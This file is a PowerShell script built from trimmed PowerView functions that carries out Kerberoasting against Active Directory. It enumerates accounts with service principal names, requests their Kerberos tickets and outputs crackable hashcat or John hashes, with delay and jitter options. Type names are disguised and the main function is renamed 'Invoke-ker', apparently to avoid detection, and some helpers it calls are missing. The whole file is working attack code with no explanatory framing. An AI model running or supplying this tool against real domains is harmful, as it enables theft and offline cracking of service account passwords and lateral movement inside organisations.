function Get-DomainSearcher { [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')] [OutputType('System.DirectoryServices.DirectorySearcher')] [CmdletBinding()] Param( [Parameter(ValueFromPipeline = $True)] [ValidateNotNullOrEmpty()] [String] $Domain, [ValidateNotNullOrEmpty()] [Alias('Filter')] [String] $LDAPFilter, [ValidateNotNullOrEmpty()] [String[]] $Properties, [ValidateNotNullOrEmpty()] [Alias('ADSPath')] [String] $SearchBase, [ValidateNotNullOrEmpty()] [String] $SearchBasePrefix, [ValidateNotNullOrEmpty()] [Alias('DomainController')] [String] $Server, [ValidateSet('Base', 'OneLevel', 'Subtree')] [String] $SearchScope = 'Subtree', [ValidateRange(1, 10000)] [Int] $ResultPageSize = 200, [ValidateRange(1, 10000)] [Int] $ServerTimeLimit = 120, [ValidateSet('Dacl', 'Group', 'None', 'Owner', 'Sacl')] [String] $SecurityMasks, [Switch] $Tombstone, [Management.Automation.PSCredential] [Management.Automation.CredentialAttribute()] $Credential = [Management.Automation.PSCredential]::Empty ) PROCESS { if ($PSBoundParameters['Domain']) { $TargetDomain = $Domain } else { if ($PSBoundParameters['Credential']) { $DomainObject = Get-Domain -Credential $Credential } else { $DomainObject = Get-Domain } $TargetDomain = $DomainObject.Name } if (-not $PSBoundParameters['Server']) { try { if ($DomainObject) { $BindServer = $DomainObject.PdcRoleOwner.Name } elseif ($PSBoundParameters['Credential']) { $BindServer = ((Get-Domain -Credential $Credential).PdcRoleOwner).Name } else { $BindServer = ((Get-Domain).PdcRoleOwner).Name } } catch { throw "[Get-DomainSearcher] Error in retrieving PDC for current domain: $_" } } else { $BindServer = $Server } $SearchString = 'LDAP://' if ($BindServer -and ($BindServer.Trim() -ne '')) { $SearchString += $BindServer if ($TargetDomain) { $SearchString += '/' } } if ($PSBoundParameters['SearchBasePrefix']) { $SearchString += $SearchBasePrefix + ',' } if ($PSBoundParameters['SearchBase']) { if ($SearchBase -Match '^GC://') { $DN = $SearchBase.ToUpper().Trim('/') $SearchString = '' } else { if ($SearchBase -match '^LDAP://') { if ($SearchBase -match "LDAP://.+/.+") { $SearchString = '' $DN = $SearchBase } else { $DN = $SearchBase.SubString(7) } } else { $DN = $SearchBase } } } else { if ($TargetDomain -and ($TargetDomain.Trim() -ne '')) { $DN = "DC=$($TargetDomain.Replace('.', ',DC='))" } } $SearchString += $DN Write-Verbose "[Get-DomainSearcher] search string: $SearchString" if ($Credential -ne [Management.Automation.PSCredential]::Empty) { Write-Verbose "[Get-DomainSearcher] Using alternate credentials for LDAP connection" $DomainObject = New-Object DirectoryServices.DirectoryEntry($SearchString, $Credential.UserName, $Credential.GetNetworkCredential().Password) $Searcher = New-Object System.DirectoryServices.DirectorySearcher($DomainObject) } else { $Searcher = New-Object System.DirectoryServices.DirectorySearcher([ADSI]$SearchString) } $Searcher.PageSize = $ResultPageSize $Searcher.SearchScope = $SearchScope $Searcher.CacheResults = $False $Searcher.ReferralChasing = [System.DirectoryServices.ReferralChasingOption]::All if ($PSBoundParameters['ServerTimeLimit']) { $Searcher.ServerTimeLimit = $ServerTimeLimit } if ($PSBoundParameters['Tombstone']) { $Searcher.Tombstone = $True } if ($PSBoundParameters['LDAPFilter']) { $Searcher.filter = $LDAPFilter } if ($PSBoundParameters['SecurityMasks']) { $Searcher.SecurityMasks = Switch ($SecurityMasks) { 'Dacl' { [System.DirectoryServices.SecurityMasks]::Dacl } 'Group' { [System.DirectoryServices.SecurityMasks]::Group } 'None' { [System.DirectoryServices.SecurityMasks]::None } 'Owner' { [System.DirectoryServices.SecurityMasks]::Owner } 'Sacl' { [System.DirectoryServices.SecurityMasks]::Sacl } } } if ($PSBoundParameters['Properties']) { $PropertiesToLoad = $Properties| ForEach-Object { $_.Split(',') } $Null = $Searcher.PropertiesToLoad.AddRange(($PropertiesToLoad)) } $Searcher } } function Convert-LDAPProperty { [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')] [OutputType('System.Management.Automation.PSCustomObject')] [CmdletBinding()] Param( [Parameter(Mandatory = $True, ValueFromPipeline = $True)] [ValidateNotNullOrEmpty()] $Properties ) $ObjectProperties = @{} $Properties.PropertyNames | ForEach-Object { if ($_ -ne 'adspath') { if (($_ -eq 'objectsid') -or ($_ -eq 'sidhistory')) { $ObjectProperties[$_] = $Properties[$_] | ForEach-Object { (New-Object System.Security.Principal.SecurityIdentifier($_, 0)).Value } } elseif ($_ -eq 'grouptype') { $ObjectProperties[$_] = $Properties[$_][0] -as $GroupTypeEnum } elseif ($_ -eq 'samaccounttype') { $ObjectProperties[$_] = $Properties[$_][0] -as $SamAccountTypeEnum } elseif ($_ -eq 'objectguid') { $ObjectProperties[$_] = (New-Object Guid (,$Properties[$_][0])).Guid } elseif ($_ -eq 'useraccountcontrol') { $ObjectProperties[$_] = $Properties[$_][0] -as $UACEnum } elseif ($_ -eq 'ntsecuritydescriptor') { $Descriptor = New-Object Security.AccessControl.RawSecurityDescriptor -ArgumentList $Properties[$_][0], 0 if ($Descriptor.Owner) { $ObjectProperties['Owner'] = $Descriptor.Owner } if ($Descriptor.Group) { $ObjectProperties['Group'] = $Descriptor.Group } if ($Descriptor.DiscretionaryAcl) { $ObjectProperties['DiscretionaryAcl'] = $Descriptor.DiscretionaryAcl } if ($Descriptor.SystemAcl) { $ObjectProperties['SystemAcl'] = $Descriptor.SystemAcl } } elseif ($_ -eq 'accountexpires') { if ($Properties[$_][0] -gt [DateTime]::MaxValue.Ticks) { $ObjectProperties[$_] = "NEVER" } else { $ObjectProperties[$_] = [datetime]::fromfiletime($Properties[$_][0]) } } elseif ( ($_ -eq 'lastlogon') -or ($_ -eq 'lastlogontimestamp') -or ($_ -eq 'pwdlastset') -or ($_ -eq 'lastlogoff') -or ($_ -eq 'badPasswordTime') ) { if ($Properties[$_][0] -is [System.MarshalByRefObject]) { $Temp = $Properties[$_][0] [Int32]$High = $Temp.GetType().InvokeMember('HighPart', [System.Reflection.BindingFlags]::GetProperty, $Null, $Temp, $Null) [Int32]$Low = $Temp.GetType().InvokeMember('LowPart', [System.Reflection.BindingFlags]::GetProperty, $Null, $Temp, $Null) $ObjectProperties[$_] = ([datetime]::FromFileTime([Int64]("0x{0:x8}{1:x8}" -f $High, $Low))) } else { $ObjectProperties[$_] = ([datetime]::FromFileTime(($Properties[$_][0]))) } } elseif ($Properties[$_][0] -is [System.MarshalByRefObject]) { $Prop = $Properties[$_] try { $Temp = $Prop[$_][0] [Int32]$High = $Temp.GetType().InvokeMember('HighPart', [System.Reflection.BindingFlags]::GetProperty, $Null, $Temp, $Null) [Int32]$Low = $Temp.GetType().InvokeMember('LowPart', [System.Reflection.BindingFlags]::GetProperty, $Null, $Temp, $Null) $ObjectProperties[$_] = [Int64]("0x{0:x8}{1:x8}" -f $High, $Low) } catch { Write-Verbose "[Convert-LDAPProperty] error: $_" $ObjectProperties[$_] = $Prop[$_] } } elseif ($Properties[$_].count -eq 1) { $ObjectProperties[$_] = $Properties[$_][0] } else { $ObjectProperties[$_] = $Properties[$_] } } } try { New-Object -TypeName PSObject -Property $ObjectProperties } catch { Write-Warning "[Convert-LDAPProperty] Error parsing LDAP properties : $_" } } function Get-Domain { [OutputType([System.DirectoryServices.ActiveDirectory.Domain])] [CmdletBinding()] Param( [Parameter(Position = 0, ValueFromPipeline = $True)] [ValidateNotNullOrEmpty()] [String] $Domain, [Management.Automation.PSCredential] [Management.Automation.CredentialAttribute()] $Credential = [Management.Automation.PSCredential]::Empty ) PROCESS { if ($PSBoundParameters['Credential']) { Write-Verbose '[Get-Domain] Using alternate credentials for Get-Domain' if ($PSBoundParameters['Domain']) { $TargetDomain = $Domain } else { $TargetDomain = $Credential.GetNetworkCredential().Domain Write-Verbose "[Get-Domain] Extracted domain '$TargetDomain' from -Credential" } $DomainContext = New-Object System.DirectoryServices.ActiveDirectory.DirectoryContext('Domain', $TargetDomain, $Credential.UserName, $Credential.GetNetworkCredential().Password) try { [System.DirectoryServices.ActiveDirectory.Domain]::GetDomain($DomainContext) } catch { Write-Verbose "[Get-Domain] The specified domain '$TargetDomain' does not exist, could not be contacted, there isn't an existing trust, or the specified credentials are invalid: $_" } } elseif ($PSBoundParameters['Domain']) { $DomainContext = New-Object System.DirectoryServices.ActiveDirectory.DirectoryContext('Domain', $Domain) try { [System.DirectoryServices.ActiveDirectory.Domain]::GetDomain($DomainContext) } catch { Write-Verbose "[Get-Domain] The specified domain '$Domain' does not exist, could not be contacted, or there isn't an existing trust : $_" } } else { try { [System.DirectoryServices.ActiveDirectory.Domain]::GetCurrentDomain() } catch { Write-Verbose "[Get-Domain] Error retrieving the current domain: $_" } } } } function Get-DomainSPNTicket { [OutputType('PxxxxxView.SPddicket')] [CmdletBinding(DefaultParameterSetName = 'RawSPN')] Param ( [Parameter(Position = 0, ParameterSetName = 'RawSPN', Mandatory = $True, ValueFromPipeline = $True)] [ValidatePattern('.*/.*')] [Alias('ServicePrincipalName')] [String[]] $SPN, [Parameter(Position = 0, ParameterSetName = 'User', Mandatory = $True, ValueFromPipeline = $True)] [ValidateScript({ $_.PSObject.TypeNames[0] -eq 'PowerView.User' })] [Object[]] $User, [ValidateSet('john', 'hashcat')] [Alias('Format')] [String] $OutputFormat = 'hashcat', [ValidateRange(0,10000)] [Int] $Delay = 0, [ValidateRange(0.0, 1.0)] [Double] $Jitter = .3, [Management.Automation.PSCredential] [Management.Automation.CredentialAttribute()] $Credential = [Management.Automation.PSCredential]::Empty ) BEGIN { $Null = [Reflection.Assembly]::LoadWithPartialName('System.IdentityModel') if ($PSBoundParameters['Credential']) { $LogonToken = Invoke-UserImpersonation -Credential $Credential } } PROCESS { if ($PSBoundParameters['User']) { $TargetObject = $User } else { $TargetObject = $SPN } $RandNo = New-Object System.Random ForEach ($Object in $TargetObject) { if ($PSBoundParameters['User']) { $UserSPN = $Object.ServicePrincipalName $SamAccountName = $Object.SamAccountName $DistinguishedName = $Object.DistinguishedName } else { $UserSPN = $Object $SamAccountName = 'UNKNOWN' $DistinguishedName = 'UNKNOWN' } if ($UserSPN -is [System.DirectoryServices.ResultPropertyValueCollection]) { $UserSPN = $UserSPN[0] } try { $Ticket = New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList $UserSPN } catch { Write-Warning "[Get-DomainSPNTicket] Error requesting ticket for SPN '$UserSPN' from user '$DistinguishedName' : $_" } if ($Ticket) { $TicketByteStream = $Ticket.GetRequest() } if ($TicketByteStream) { $Out = New-Object PSObject $TicketHexStream = [System.BitConverter]::ToString($TicketByteStream) -replace '-' if($TicketHexStream -match 'a382....3082....A0030201(?..)A1.{1,4}.......A282(?....)........(?.+)') { $Etype = [Convert]::ToByte( $Matches.EtypeLen, 16 ) $CipherTextLen = [Convert]::ToUInt32($Matches.CipherTextLen, 16)-4 $CipherText = $Matches.DataToEnd.Substring(0,$CipherTextLen*2) if($Matches.DataToEnd.Substring($CipherTextLen*2, 4) -ne 'A482') { Write-Warning 'Error parsing ciphertext for the SPN $($Ticket.ServicePrincipalName). Use the TicketByteHexStream field and extract the hash offline with Get-KerberoastHashFromAPReq"' $Hash = $null $Out | Add-Member Noteproperty 'TicketByteHexStream' ([Bitconverter]::ToString($TicketByteStream).Replace('-','')) } else { $Hash = "$($CipherText.Substring(0,32))`$$($CipherText.Substring(32))" $Out | Add-Member Noteproperty 'TicketByteHexStream' $null } } else { Write-Warning "Unable to parse ticket structure for the SPN $($Ticket.ServicePrincipalName). Use the TicketByteHexStream field and extract the hash offline with Get-KerberoastHashFromAPReq" $Hash = $null $Out | Add-Member Noteproperty 'TicketByteHexStream' ([Bitconverter]::ToString($TicketByteStream).Replace('-','')) } if($Hash) { if ($OutputFormat -match 'John') { $HashFormat = "`$krb5tgs`$$($Ticket.ServicePrincipalName):$Hash" } else { if ($DistinguishedName -ne 'UNKNOWN') { $UserDomain = $DistinguishedName.SubString($DistinguishedName.IndexOf('DC=')) -replace 'DC=','' -replace ',','.' } else { $UserDomain = 'UNKNOWN' } $HashFormat = "`$krb5tgs`$$($Etype)`$*$SamAccountName`$$UserDomain`$$($Ticket.ServicePrincipalName)*`$$Hash" } $Out | Add-Member Noteproperty 'Hash' $HashFormat } $Out | Add-Member Noteproperty 'SamAccountName' $SamAccountName $Out | Add-Member Noteproperty 'DistinguishedName' $DistinguishedName $Out | Add-Member Noteproperty 'ServicePrincipalName' $Ticket.ServicePrincipalName $Out.PSObject.TypeNames.Insert(0, 'PxxxxxView.SPddicket') Write-Output $Out } Start-Sleep -Seconds $RandNo.Next((1-$Jitter)*$Delay, (1+$Jitter)*$Delay) } } END { if ($LogonToken) { Invoke-RevertToSelf -TokenHandle $LogonToken } } } function Get-DomainUser { [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSUseDeclaredVarsMoreThanAssignments', '')] [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')] [OutputType('PowerView.User')] [OutputType('PowerView.User.Raw')] [CmdletBinding(DefaultParameterSetName = 'AllowDelegation')] Param( [Parameter(Position = 0, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)] [Alias('DistinguishedName', 'SamAccountName', 'Name', 'MemberDistinguishedName', 'MemberName')] [String[]] $Identity, [Switch] $SPN, [Switch] $AdminCount, [Parameter(ParameterSetName = 'AllowDelegation')] [Switch] $AllowDelegation, [Parameter(ParameterSetName = 'DisallowDelegation')] [Switch] $DisallowDelegation, [Switch] $TrustedToAuth, [Alias('KerberosPreauthNotRequired', 'NoPreauth')] [Switch] $PreauthNotRequired, [ValidateNotNullOrEmpty()] [String] $Domain, [ValidateNotNullOrEmpty()] [Alias('Filter')] [String] $LDAPFilter, [ValidateNotNullOrEmpty()] [String[]] $Properties, [ValidateNotNullOrEmpty()] [Alias('ADSPath')] [String] $SearchBase, [ValidateNotNullOrEmpty()] [Alias('DomainController')] [String] $Server, [ValidateSet('Base', 'OneLevel', 'Subtree')] [String] $SearchScope = 'Subtree', [ValidateRange(1, 10000)] [Int] $ResultPageSize = 200, [ValidateRange(1, 10000)] [Int] $ServerTimeLimit, [ValidateSet('Dacl', 'Group', 'None', 'Owner', 'Sacl')] [String] $SecurityMasks, [Switch] $Tombstone, [Alias('ReturnOne')] [Switch] $FindOne, [Management.Automation.PSCredential] [Management.Automation.CredentialAttribute()] $Credential = [Management.Automation.PSCredential]::Empty, [Switch] $Raw ) <# DynamicParam { $UACValueNames = [Enum]::GetNames($UACEnum) # add in the negations $UACValueNames = $UACValueNames | ForEach-Object {$_; "NOT_$_"} # create new dynamic parameter New-DynamicParameter -Name UACFilter -ValidateSet $UACValueNames -Type ([array]) } #> BEGIN { $SearcherArguments = @{} if ($PSBoundParameters['Domain']) { $SearcherArguments['Domain'] = $Domain } if ($PSBoundParameters['Properties']) { $SearcherArguments['Properties'] = $Properties } if ($PSBoundParameters['SearchBase']) { $SearcherArguments['SearchBase'] = $SearchBase } if ($PSBoundParameters['Server']) { $SearcherArguments['Server'] = $Server } if ($PSBoundParameters['SearchScope']) { $SearcherArguments['SearchScope'] = $SearchScope } if ($PSBoundParameters['ResultPageSize']) { $SearcherArguments['ResultPageSize'] = $ResultPageSize } if ($PSBoundParameters['ServerTimeLimit']) { $SearcherArguments['ServerTimeLimit'] = $ServerTimeLimit } if ($PSBoundParameters['SecurityMasks']) { $SearcherArguments['SecurityMasks'] = $SecurityMasks } if ($PSBoundParameters['Tombstone']) { $SearcherArguments['Tombstone'] = $Tombstone } if ($PSBoundParameters['Credential']) { $SearcherArguments['Credential'] = $Credential } $UserSearcher = Get-DomainSearcher @SearcherArguments } PROCESS { #bind dynamic parameter to a friendly variable #if ($PSBoundParameters -and ($PSBoundParameters.Count -ne 0)) { # New-DynamicParameter -CreateVariables -BoundParameters $PSBoundParameters #} if ($UserSearcher) { $IdentityFilter = '' $Filter = '' $Identity | Where-Object {$_} | ForEach-Object { $IdentityInstance = $_.Replace('(', '\28').Replace(')', '\29') if ($IdentityInstance -match '^S-1-') { $IdentityFilter += "(objectsid=$IdentityInstance)" } elseif ($IdentityInstance -match '^CN=') { $IdentityFilter += "(distinguishedname=$IdentityInstance)" if ((-not $PSBoundParameters['Domain']) -and (-not $PSBoundParameters['SearchBase'])) { # if a -Domain isn't explicitly set, extract the object domain out of the distinguishedname # and rebuild the domain searcher $IdentityDomain = $IdentityInstance.SubString($IdentityInstance.IndexOf('DC=')) -replace 'DC=','' -replace ',','.' Write-Verbose "[Get-DomainUser] Extracted domain '$IdentityDomain' from '$IdentityInstance'" $SearcherArguments['Domain'] = $IdentityDomain $UserSearcher = Get-DomainSearcher @SearcherArguments if (-not $UserSearcher) { Write-Warning "[Get-DomainUser] Unable to retrieve domain searcher for '$IdentityDomain'" } } } elseif ($IdentityInstance -imatch '^[0-9A-F]{8}-([0-9A-F]{4}-){3}[0-9A-F]{12}$') { $GuidByteString = (([Guid]$IdentityInstance).ToByteArray() | ForEach-Object { '\' + $_.ToString('X2') }) -join '' $IdentityFilter += "(objectguid=$GuidByteString)" } elseif ($IdentityInstance.Contains('\')) { $ConvertedIdentityInstance = $IdentityInstance.Replace('\28', '(').Replace('\29', ')') | Convert-ADName -OutputType Canonical if ($ConvertedIdentityInstance) { $UserDomain = $ConvertedIdentityInstance.SubString(0, $ConvertedIdentityInstance.IndexOf('/')) $UserName = $IdentityInstance.Split('\')[1] $IdentityFilter += "(samAccountName=$UserName)" $SearcherArguments['Domain'] = $UserDomain Write-Verbose "[Get-DomainUser] Extracted domain '$UserDomain' from '$IdentityInstance'" $UserSearcher = Get-DomainSearcher @SearcherArguments } } else { $IdentityFilter += "(samAccountName=$IdentityInstance)" } } if ($IdentityFilter -and ($IdentityFilter.Trim() -ne '') ) { $Filter += "(|$IdentityFilter)" } if ($PSBoundParameters['SPN']) { Write-Verbose '[Get-DomainUser] Searching for non-null service principal names' $Filter += '(servicePrincipalName=*)' } if ($PSBoundParameters['AllowDelegation']) { Write-Verbose '[Get-DomainUser] Searching for users who can be delegated' # negation of "Accounts that are sensitive and not trusted for delegation" $Filter += '(!(userAccountControl:1.2.840.113556.1.4.803:=1048574))' } if ($PSBoundParameters['DisallowDelegation']) { Write-Verbose '[Get-DomainUser] Searching for users who are sensitive and not trusted for delegation' $Filter += '(userAccountControl:1.2.840.113556.1.4.803:=1048574)' } if ($PSBoundParameters['AdminCount']) { Write-Verbose '[Get-DomainUser] Searching for adminCount=1' $Filter += '(admincount=1)' } if ($PSBoundParameters['TrustedToAuth']) { Write-Verbose '[Get-DomainUser] Searching for users that are trusted to authenticate for other principals' $Filter += '(msds-allowedtodelegateto=*)' } if ($PSBoundParameters['PreauthNotRequired']) { Write-Verbose '[Get-DomainUser] Searching for user accounts that do not require kerberos preauthenticate' $Filter += '(userAccountControl:1.2.840.113556.1.4.803:=4194304)' } if ($PSBoundParameters['LDAPFilter']) { Write-Verbose "[Get-DomainUser] Using additional LDAP filter: $LDAPFilter" $Filter += "$LDAPFilter" } # build the LDAP filter for the dynamic UAC filter value $UACFilter | Where-Object {$_} | ForEach-Object { if ($_ -match 'NOT_.*') { $UACField = $_.Substring(4) $UACValue = [Int]($UACEnum::$UACField) $Filter += "(!(userAccountControl:1.2.840.113556.1.4.803:=$UACValue))" } else { $UACValue = [Int]($UACEnum::$_) $Filter += "(userAccountControl:1.2.840.113556.1.4.803:=$UACValue)" } } $UserSearcher.filter = "(&(samAccountType=805306368)$Filter)" Write-Verbose "[Get-DomainUser] filter string: $($UserSearcher.filter)" if ($PSBoundParameters['FindOne']) { $Results = $UserSearcher.FindOne() } else { $Results = $UserSearcher.FindAll() } $Results | Where-Object {$_} | ForEach-Object { if ($PSBoundParameters['Raw']) { # return raw result objects $User = $_ $User.PSObject.TypeNames.Insert(0, 'PowerView.User.Raw') } else { $User = Convert-LDAPProperty -Properties $_.Properties $User.PSObject.TypeNames.Insert(0, 'PowerView.User') } $User } if ($Results) { try { $Results.dispose() } catch { Write-Verbose "[Get-DomainUser] Error disposing of the Results object: $_" } } $UserSearcher.dispose() } } } function Invoke-ker { [OutputType('PxxxxxView.SPddicket')] [CmdletBinding()] Param( [ValidateNotNullOrEmpty()] [Alias('Filter')] [String] $LDAPFilter, [ValidateRange(1, 10000)] [Int] $ResultPageSize = 200, [ValidateRange(1, 10000)] [Int] $ServerTimeLimit, [ValidateRange(0,10000)] [Int] $Delay = 0, [ValidateRange(0.0, 1.0)] [Double] $Jitter = .3, [ValidateSet('john', 'hashcat')] [Alias('Format')] [String] $OutputFormat = 'hashcat' ) BEGIN { $UserSearcherArguments = @{ 'SPN' = $True 'Properties' = 'samaccountname,distinguishedname,serviceprincipalname' } if ($PSBoundParameters['LDAPFilter']) { $UserSearcherArguments['LDAPFilter'] = $LDAPFilter } if ($PSBoundParameters['ResultPageSize']) { $UserSearcherArguments['ResultPageSize'] = $ResultPageSize } if ($PSBoundParameters['ServerTimeLimit']) { $UserSearcherArguments['ServerTimeLimit'] = $ServerTimeLimit } if ($PSBoundParameters['Tombstone']) { $UserSearcherArguments['Tombstone'] = $Tombstone } if ($PSBoundParameters['Credential']) { $UserSearcherArguments['Credential'] = $Credential } } PROCESS { if ($PSBoundParameters['Identity']) { $UserSearcherArguments['Identity'] = $Identity } Get-DomainUser @UserSearcherArguments | Get-DomainSPNTicket -Delay $Delay -OutputFormat $OutputFormat -Jitter $Jitter } END { if ($LogonToken) { Invoke-RevertToSelf -TokenHandle $LogonToken } } }